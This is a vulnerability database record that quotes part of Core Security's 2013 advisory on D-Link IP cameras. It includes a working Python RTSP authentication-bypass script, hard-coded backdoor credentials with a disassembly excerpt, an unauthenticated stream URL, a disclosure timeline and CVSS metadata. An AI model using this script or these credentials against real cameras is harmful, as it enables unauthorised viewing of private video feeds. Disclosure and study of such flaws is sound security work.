/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:
/-----
O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o
O O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o
O O O O O O O O O O O O o o o o . o o o o o o o
O O O O O O O O O O o . o O O o . o o o o o o
O O O O O O O O O . o o o o o o
O O O O O O O O . o o o o o o o o
O O O O O O O . o O O o . o o o o o o o o o
O O O O O O o . O O O O O O . o o o o o o o o o
O O O O O O . O O O O O O O . o o o o o o o o o
O O O O O O o O O O O O O O . o . o o o o o o o o
O O O O O O o O O O O O O O . o o o . o o o o o o o o
O O O O O O o O O O O O O o . o O O o O O . o o o o o o o
O O O O O O . o O O O O O O o . O O O o O O . o o o o o o
O O O O O O . O O O O O o . O O o o O O o . o o o o o o
O O O O O O o O O O O O o . o O O o o O O o . o o o o o
O O O O O O O O O O O O . o O O o o O O o . o o o o o
O O O O O O O . o O O O o . o o o O o o O O o . o o o o
O O O O O O O o . O O O o . o o o O o o O O o . o o o o
O O O O O O O O . O O O . o o o O o o O O o . o o o o
O O O O O O O O O O O . o o o O o o O O o . o o o
O O O O O O O O o o O o o o o o O o o o O o . o o o
O O O O O O O O O . O o o o o o O o . o O o . o o
O O O O O O O O O . O o . o o o o O . o O o . o
O O O O O O O O O o o . o o o o o . o O o . o
O O O O O O O O O O . o o o . o . o O o .
o O O O O O O O O O . o o o . o . O o .
o o O O O O O O O O o . o o o . o . O o .
o o o O O O O O O O o . o o o . o . O o .
-----/
7.4. RTSP Authentication Bypass
[CVE-2013-1602] This vulnerability is triggered because:
- Authentication is only present in DESCRIBE requests but not in every subsequent request.
- When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead).
/----- import sys from socket import * from threading import Thread import time, re
LOGGING = 1
def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr
def run(self):
sender = socket(AF_INET, SOCK_DGRAM)
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sender.sendto(self.data_to_send, self.dst_addr)
response = sender.recv(1024)
sender.sendto(response, self.recv_addr)
sender.close()
class UDPDispatcher(Thread): dispatchers = []
def __has_dispatcher_for(self, port):
return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr):
Thread.__init__(self)
if self.__has_dispatcher_for(src_port):
raise Exception('There is already a dispatcher for port %d'
% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)
def run(self):
listener = socket(AF_INET, SOCK_DGRAM)
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listener.bind(('', self.src_port))
while 1:
try:
data, recv_addr = listener.recvfrom(1024)
if not data: break
UDPRequestHandler(data, recv_addr, self.dst_addr).start()
except Exception as e:
print e
break
listener.close()
UDPDispatcher.dispatchers.remove( self )
class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)
def run(self):
while 1:
try:
data = self.source.recv(1024)
data = self.process_data_callback(data)
if not data: break
self.sink.send( data )
except Exception as e:
log(e)
break
PipeThread.pipes.remove(self)
class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)
def run(self):
while 1:
# Wait until a new connection arises
newsock, address = self.sock.accept()
# Create forwarder socket
fwd = socket(AF_INET, SOCK_STREAM)
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
fwd.connect(self.dst_addr)
# Pipe them!
PipeThread(newsock, fwd, self.process_data_callback).start()
PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''
class DLink(Camera): # D-Link DCS-2102/1.06-5731 def init(self, address): Camera.init(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'
class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera):
self.last_describe_req = ''
self.camera = camera
self.local_port = local_port
def start(self):
log('[!] Starting bypasser')
TCPTunnel(self.local_port, self.camera.address,
self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
self.last_describe_req = data
elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and
self.last_describe_req:
log('[!] Unauthorized response received. Spoofing...')
spoofed_describe = self.camera.get_describe_data()
# Look for the request CSeq
m = re.search('.CSeq:\s(\d+?)\r\n.',
self.last_describe_req)
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
# Create the response
data = 'RTSP/1.0 200 OK\r\n'
data+= 'CSeq: %s\r\n' % cseq
data+= 'Content-Type: application/sdp\r\n'
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
data+= '\r\n'
# Attach the spoofed describe
data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
# Look for the server RTP ports
m = re.search('.%s\s(.+?)[;|\r].' %
RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
ports = m.group(1) if m else
RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
# For each port in the range create a UDP dispatcher
begin_port, end_port = map(int, ports.split('-'))
for udp_port in xrange(begin_port, end_port + 1):
try:
UDPDispatcher(udp_port, (self.camera.address[0],
udp_port)).start()
except:
pass
return data
if name == 'main':
if len( sys.argv ) > 1:
listener_port = camera_port = int(sys.argv[1])
camera_ip = sys.argv[2]
if len(sys.argv) == 4:
camera_port = int(sys.argv[3])
RTSPAuthByPasser(listener_port, DLink((camera_ip,
camera_port))).start()
else:
print 'usage: python %s [local_port] [camera_ip]
[camera_rtsp_port]'
-----/
7.5. RTSP Hard-Coded Credentials
[CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.
/-----
username: (any)
password: ?*
-----/
As we can see in the following dump, the submitted password is compared with the string ':?*' (the character ':' is used for concatenation of 'username:password'). This code belongs to the binary 'rtspd':
/----- .text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch -----/
-
Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.
-
References
[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202001-0841",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-5230",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-5635",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.01"
},
{
"model": "dcs-2102",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.05"
},
{
"model": "dcs-3411",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-3430",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-5605",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.01"
},
{
"model": "wcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-5230l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.03"
},
{
"model": "dcs-7510",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-2102",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.06"
},
{
"model": "dcs-2121",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.05"
},
{
"model": "dcs-3410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-6410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1100l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-7410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1130l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.03"
},
{
"model": "dcs-2121",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.06"
},
{
"model": "dcs-3410",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-5230",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-5230l",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-6410",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.00"
},
{
"model": "dcs-7410",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.00"
},
{
"model": "dcs-7510",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.00"
},
{
"model": "wcs-1100",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-1100l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2121",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3411",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3430",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5605",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5635",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5605/5635",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.01"
},
{
"model": "dcs-1100l/1130l",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.04"
},
{
"model": "dcs-1100/1130",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.03"
},
{
"model": "dcs-1100/1130 1.04 us",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102/2121 1.05 ru",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102/2121",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.06"
},
{
"model": "dcs-2102/2121 1.06 fr",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "tesco dcs-2102/2121 1.05 tesco",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3411/3430",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.02"
},
{
"model": "tesco dcs-2121 1.05 tesco",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "tesco dcs-2102 1.05 tesco",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5635",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.01"
},
{
"model": "dcs-5605",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.01"
},
{
"model": "dcs-3430",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-3411",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-2121 1.06 fr",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2121",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.06"
},
{
"model": "dcs-2121 1.05 ru",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102 1.06 fr",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.06"
},
{
"model": "dcs-2102 1.05 ru",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130l",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.04"
},
{
"model": "dcs-1130 1.04 us",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.03"
},
{
"model": "dcs-1100l",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.04"
},
{
"model": "dcs-1100 1.04 us",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.03"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04635"
},
{
"db": "BID",
"id": "59570"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007135"
},
{
"db": "NVD",
"id": "CVE-2013-1601"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Francisco Falcon and Nahuel Riva from Core Exploit Writers Team",
"sources": [
{
"db": "BID",
"id": "59570"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-042"
}
],
"trust": 0.9
},
"cve": "CVE-2013-1601",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2013-1601",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2013-04635",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"exploitabilityScore": 3.9,
"id": "CVE-2013-1601",
"impactScore": 1.4,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 5.3,
"baseSeverity": "Medium",
"confidentialityImpact": "Low",
"exploitabilityScore": null,
"id": "CVE-2013-1601",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2013-1601",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "NVD",
"id": "CVE-2013-1601",
"trust": 0.8,
"value": "Medium"
},
{
"author": "CNVD",
"id": "CNVD-2013-04635",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201305-042",
"trust": 0.6,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04635"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007135"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-042"
},
{
"db": "NVD",
"id": "CVE-2013-1601"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n 1. [CVE-2013-1599] to execute arbitrary commands from the\nadministration web interface,\n 2. [CVE-2013-1600] to access the video stream via HTTP,\n 3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n 4. [CVE-2013-1602] to access the video stream via RTSP,\n 5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n . DCS-3411/3430 - firmware v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n . DCS-3411/3430 - v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n . ALL mentioned devices and firmware. 